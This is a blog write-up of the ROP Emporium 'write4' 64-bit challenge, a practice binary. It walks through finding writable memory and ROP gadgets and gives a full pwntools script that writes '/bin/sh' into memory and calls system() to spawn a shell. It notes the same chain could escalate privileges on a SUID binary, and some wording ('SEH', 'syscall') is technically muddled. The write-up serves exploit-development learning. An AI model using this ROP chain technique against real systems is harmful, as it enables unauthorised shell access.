Day 7: ROP Emporium write4 (64bit)

Diddy Doodat
5 min readJan 6, 2019

On completing our usual checks for interesting strings and symbols in this binary we are confronted with the stark truth that our favourite string “/bin/cat flag.txt” is not present this time. Although you’ll see later that there are other ways around this problem, such as resolving dynamically loaded libraries and using the strings present in those, we’ll stick to the challenge goal which is learning how to get data into the target process’s virtual address space via the magic of ROP.

Ok, we know we are going to need some gadgets for this as we have moved away from the easy ROP stuff, now we get a little bit more tricky. There are actually a couple of ways to solve this but that’s a little past this post and something we can get into later. For now, just try and follow along. Don’t forget to read the other posts first which will help understand how and why we ended up with the final exploit.

Writable Memory

We know we want to write somewhere, but where? For this, we can use r2 to show us rw sections of memory.

19 0x00000e10     8 0x00600e10     8 -rw- .init_array
20 0x00000e18 8 0x00600e18 8 -rw- .fini_array
21 0x00000e20 8 0x00600e20 8 -rw- .jcr
22 0x00000e28 464 0x00600e28 464 -rw- .dynamic
23 0x00000ff8 8 0x00600ff8 8 -rw- .got
24 0x00001000 80 0x00601000 80 -rw- .got.plt
25 0x00001050 16 0x00601050 16 -rw- .data
26 0x00001060 0 0x00601060 48 -rw- .bss

As you can see, we can write to quite a few place as they are readable and writeable (-rw-), some areas of memory have caveats, like size, which we will explore in later posts. For now we will go with writing to the global offset table (got) although .data works just as well.

24 0x00001000    80 0x00601000    80 -rw- .got.plt

Making the syscall

We have to write somewhere, so what we want to do is write “/bin/sh” somewhere and then when we’re ready, pop “/bin/sh” into rdi to make the syscall.

x86_64 syscall()

+---------+------+------+------+------+------+------+
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
+---------+------+------+------+------+------+------+
| %rax | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 |
+---------+------+------+------+------+------+------+

We can use afl in r2 to get system address…

[0x00400650]> afl
0x004005a0 3 26 sym._init
0x004005d0 1 6 sym.imp.puts
0x004005e0 1 6 sym.imp.system
0x004005f0 1 6 sym.imp.printf
0x00400600 1 6 sym.imp.memset
0x00400610 1 6 sym.imp.__libc_start_main
0x00400620 1 6 sym.imp.fgets
0x00400630 1 6 sym.imp.setvbuf
0x00400640 1 6 sub.__gmon_start_400640
0x00400650 1 41 entry0
0x00400680 4 50 -> 41 sym.deregister_tm_clones
0x004006c0 4 58 -> 55 sym.register_tm_clones
0x00400700 3 28 sym.__do_global_dtors_aux
0x00400720 4 38 -> 35 entry.init0
0x00400746 1 111 sym.main
0x004007b5 1 82 sym.pwnme
0x00400807 1 17 sym.usefulFunction
0x00400830 4 101 sym.__libc_csu_init
0x004008a0 1 2 sym.__libc_csu_fini
0x004008a4 1 9 sym._fini

The Gadgets

We want to write to the .got.plt section so we need to first pop the data off the stack into a register, and then move it to the location we want.

To do this, we need pop, mov and ret instructions:

Instruction                  Description
--------------------------------------------------------------------pop [destination] | pops the top stack var to [destination]
--------------------------------------------------------------------mov [destination], [source]| moves [source] content into
--------------------------------------------------------------------
ret | return from current procedure
--------------------------------------------------------------------

But how do we pick our gadget, well, if we were being as diligent as we should be, we would notice this when inspecting system…

CALL XREF from sym.usefulFunction (0x400810)

Cross References (or simply XREFs) is a feature of disassemblers to show you where certain functions and objects were called from or which functions and objects are used by a specific function. We can simplify it by relate to it as XREF-To and XREF-From. The referenced can be either Data or Code.

So we have a cross reference from sym.usefulFunction (0x400810), let’s have a look…

So we hook it up to a debugger, set a breakpoint, hit the breakpoint at which point we see usefulFunctions, what’s that?

Great, mov qword ptr [r14], r15 ; ret is exactly what we want.

So now we have everything we need…

0x004005e0 sym.imp.system
0x00601000 .got.plt
0x0000000000400890 pop r14 ; pop r15 ; ret
0x0000000000400820 mov qword ptr [r14], r15 ; ret
0x0000000000400893 pop rdi ; ret

In theory we do this…

  • Start with a padding of 40 bytes (“A”*40)
  • RSP is moved twice towards a higher address then a ret is executed to set up SEH Exploit
  • Next we add the writeable memory address to the stack
  • Then we write “/bin/sh\x00” to the writable memory
  • Next we pop rdi and execute a ret to prepare for the syscall
  • Finally we make the syscall when everything is set up and “/bin/sh\x00” is in RDI register

The Final Exploit

from pwn import *data_seg = 0x00601000system_plt = 0x4005e0# RIP offset is at 40
rop = "A" * 40
# Write "/bin/sh" to data_seg
# First gadget creates condition for SEH
pop_r14_r15 = 0x0000000000400890 # pop r14 ; pop r15 ; ret
rop += p64(pop_r14_r15)
rop += p64(data_seg)
rop += "/bin/sh\x00"
mov_r15_to_r14 = 0x0000000000400820 # mov qword ptr [r14], r15 ; ret
rop += p64(mov_r15_to_r14)
# Call system("/bin/sh")
pop_rdi = 0x0000000000400893 # pop rdi ; ret
rop += p64(pop_rdi)
rop += p64(data_seg)
rop += p64(system_plt)
# Start process and send rop chain
e = process('write4')
print e.recv()
e.sendline(rop)
e.interactive()

Exploit in action, cheated by running as root but if this binary had SUID permission and I was low-privilege user this would be great for privilege escalation.

--

--